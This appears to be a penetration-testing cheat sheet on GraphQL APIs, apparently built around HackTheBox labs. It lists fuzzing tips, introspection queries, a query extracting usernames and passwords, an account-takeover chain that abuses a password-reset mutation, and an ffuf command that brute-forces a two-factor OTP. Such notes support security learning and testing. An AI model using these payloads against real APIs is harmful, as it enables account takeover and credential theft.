GraphQL
Data query and manipulation language for APIs
Uses
HTTP/HTTPS
, typically overPOST
requests.JSON
-based queries and responses.Typically uses a single endpoint for all operations.
Apollo Server
commonly usesport 4000
as its default when started without configuration.Express-based GraphQL servers
frequently useport 3000
, simply because that's the default for many Express setups.Introspection
allows clients to query the API schema for available operations and data types.
Fuzzing Tips
Test Query Depth and Complexity
: Check server limits on nested or complex queries to prevent performance issues.
Validate Input Types and Arguments
: Test inputs with invalid data to identify validation weaknesses.
Examine Query Aliasing and Batching
: Test for data leaks via aliased queries and batched requests.
Check for Introspection Misuse
: Ensure introspection doesn't expose sensitive or unnecessary schema details.
Assess Authorization Controls
: Confirm proper enforcement of access controls for queries and operations.
Evaluate Rate Limiting
: Ensure the API handles excessive or malicious requests effectively.
Fuzz Mutations
: Test for security and validation flaws in mutation operations.
Introspection Queries
?query={__schema{types{name}}}
{
"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"
}
?query={__type(name:"Query"){fields{name,description}}}
?query={__type(name:"User"){fields{name,type{name,kind},description}}}
?query={__type(name:"User"){fields{name,type{name,kind},description,args{name,type{name,kind}}}}}
Data Queries
?query=query{user{username,password}}
Mutations
Account takeover (ATO)
{
"query": "mutation GetAdminResetToken { devForgotPassword(email: "admin@speednet.htb") }"
}
{
"query": "mutation ChangeAdminPassword { resetPassword(token: "ff598eb2-60a0-465a-adab-93bbbfbbebe9", newPassword: "tokyo") }"
}
ffuf -w wordlist.txt -X POST -H "Content-Type: application/json" -d '{"query":"mutation VerifyTwoFactor($token: String!, $otp: String!) { verifyTwoFactor(token: $token, otp: $otp) { token user { id email firstName lastName address phoneNumber twoFactorAuthEnabled } } }","variables":{"token":"3c9886d6-69bf-4240-a750-0255b3fcf663","otp":"FUZZ"}}' -u "http://94.237.61.242:45385/graphql"
Curl Commands
curl -s http://<SERVER_IP>:<PORT>/api.php/city/ | jq
curl -X POST -H "Content-Type: application/json" -d '{"query":"YOUR_QUERY_HERE"}' http:///graphql
curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' -H 'Content-Type: application/json' http://www.example.net:PORT/search.php
curl -X POST http://<SERVER_IP>:<PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'
curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'
curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City
Last updated